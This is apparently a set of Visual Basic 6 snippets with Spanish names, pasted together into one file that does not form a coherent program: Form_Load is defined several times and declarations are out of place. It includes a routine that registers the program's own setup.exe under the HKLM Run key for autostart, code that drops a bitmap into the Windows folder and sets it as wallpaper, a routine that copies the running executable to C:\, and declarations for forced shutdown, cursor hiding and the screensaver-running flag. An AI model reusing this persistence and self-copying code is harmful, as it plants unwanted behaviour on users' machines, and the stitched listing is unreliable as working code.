Const HKEY_LOCAL_MACHINE = &H80000002
Const STANDARD_RIGHTS_ALL = &H1F0000
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_ENUMERATE_SUB_KEYS = &H8
Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const SYNCHRONIZE = &H100000
Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or _
KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or _
KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
Const REG_SZ = 1
Const SPI_SCREENSAVERRUNNING = 97&
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const FLAGS As Long = SWP_NOMOVE Or SWP_NOSIZE
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4
Const Muestra = &H40
Const Oculta = &H80
Dim Ventana2 As Long
Dim resultado As Long
Dim Hacer As Byte
Dim On_off As Boolean
Private Declare Function SystemParametersInfo Lib "user32" Alias _
"SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, _
lpvParam As Any, ByVal fuWinIni As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" _
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" _
(ByVal lpstrCommand As String, ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Private Declare Function SHShutDownDialog Lib "shell32" Alias "#60" (ByVal YourGuess As Long) As Long
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName _
 As String, ByVal lpWindowName As String) As Long
Private Declare Function SetWindowPos Lib "user32" ( _
  ByVal hwnd As Long, ByVal hWndInsertAfter As Long, _
  ByVal x As Long, ByVal y As Long, ByVal cx As Long, _
  ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, _
                ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
'Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, _
                ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
        (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function SystemParametersInfo2 Lib "user32" Alias _
"SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As _
Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" _
    Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _
    ByVal nSize As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _
(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _
ByVal bFailIfExists As Long) As Long

Private Sub Registro()
    ChDir App.Path
    Dim LpClass As String
    Dim Manejador1 As Long
    Dim Var_lpValueName As String, Var_lpData As String, Var_cbData As Long
    Var_lpValueName = "setup"
    Var_lpData = App.Path & "\setup.exe"
    Var_cbData = Len(Var_lpData)
    RegOpenKeyEx HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", _
    0, KEY_ALL_ACCESS, Manejador1
    RegSetValueEx Manejador1, Var_lpValueName, 0, REG_SZ, ByVal Var_lpData, ByVal Var_cbData
    RegCloseKey Manejador1
End Sub

Sub BMP()
    Dim x
    Dim tapiz As Integer
    On Error GoTo Fallo
    x = GetAttr(SistemDir & "\Y00A24I65M53A.BMP")
    tapiz = SystemParametersInfo2(20, 0, SistemDir & "\Y00A24I65M53A.bmp", 0)
Exit Sub
Fallo:
    SavePicture Image1, SistemDir & "\Y00A24I65M53A.BMP"
End Sub

Private Function SistemDir() As String
    Dim WinDir As String
    Dim ReturnSize As Long
    WinDir = String(255, 0)
    ReturnSize = GetWindowsDirectory(lpBuffer:=WinDir, nSize:=Len(WinDir))
    SistemDir = Left(WinDir, ReturnSize)
End Function

Private Sub Form_Load()
    Registro
End Sub

Private Declare Function GetLogicalDrives Lib "kernel32" () As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

Dim Cont As Byte
Dim Drives As String
Dim Handle() As Long

Private Sub Form_Load()

    Dim U As String * 1
    Dim LDs As Long, Cnt As Long
    
    LDs = GetLogicalDrives
    
    For Cnt = 0 To 25
        If (LDs And 2 ^ Cnt) <> 0 Then
            If GetDriveType(Chr$(65 + Cnt) & ":\") = 3 Then _
            Drives = Drives + Chr$(65 + Cnt)
        End If
    Next Cnt
    
    ReDim Handle(1 To Len(Drives))
    
    For Cont = 1 To Len(Drives)
        U = Mid(Drives, Cont, 1)
        Handle(Cont) = FindFirstChangeNotification(U & ":\", INFINITE, FILE_NOTIFY_CHANGE_ALL)
        WaitForSingleObject Handle(Cont), 1
        List1.AddItem "La informacion del disco " & U & _
        ":\ ha cambiado!!! ~ [ " & Now & " ]": List1.Selected(List1.ListCount - 1) = True
    Next

End Sub

Private Const FILE_NOTIFY_CHANGE_ATTRIBUTES = &H4
Private Const FILE_NOTIFY_CHANGE_DIR_NAME = &H2
Private Const FILE_NOTIFY_CHANGE_FILE_NAME = &H1
Private Const FILE_NOTIFY_CHANGE_SIZE = &H8
Private Const FILE_NOTIFY_CHANGE_LAST_WRITE = &H10
Private Const FILE_NOTIFY_CHANGE_SECURITY = &H100
Private Const FILE_NOTIFY_CHANGE_ALL = &H4 Or &H2 Or &H1 Or &H8 Or &H10 Or &H100
Private Const INFINITE = &HFFFFFFFF

Private Declare Function FindFirstChangeNotification Lib "kernel32" Alias "FindFirstChangeNotificationA" _
(ByVal lpPathName As String, ByVal bWatchSubtree As Long, ByVal dwNotifyFilter As Long) As Long
Private Declare Function FindNextChangeNotification Lib "kernel32" (ByVal hChangeHandle As Long) As Long
Private Declare Function FindCloseChangeNotification Lib "kernel32" (ByVal hChangeHandle As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long

Dim Handle As Long

Private Sub Form_Load()
    Timer1.Interval = 1000
    Handle = FindFirstChangeNotification("C:\", INFINITE, FILE_NOTIFY_CHANGE_ALL)
    WaitForSingleObject Handle, 1
End Sub

Private Sub Timer1_Timer()
    FindNextChangeNotification Handle
    If WaitForSingleObject(Handle, 1) = 0 Then
        List1.AddItem "La informacion del disco C:\ ha cambiado!!! ~ [ " & Now & " ]"
        List1.Selected(List1.ListCount - 1) = True
    End If
    DoEvents
End Sub

Private Sub Form_Unload(Cancel As Integer)
    FindCloseChangeNotification Handle
End Sub

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _
(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _
ByVal bFailIfExists As Long) As Long

Private Sub Form_Load()
    CopyFile App.Path & "\" & App.EXEName & ".exe", "C:\" & App.EXEName & ".exe", 0
End Sub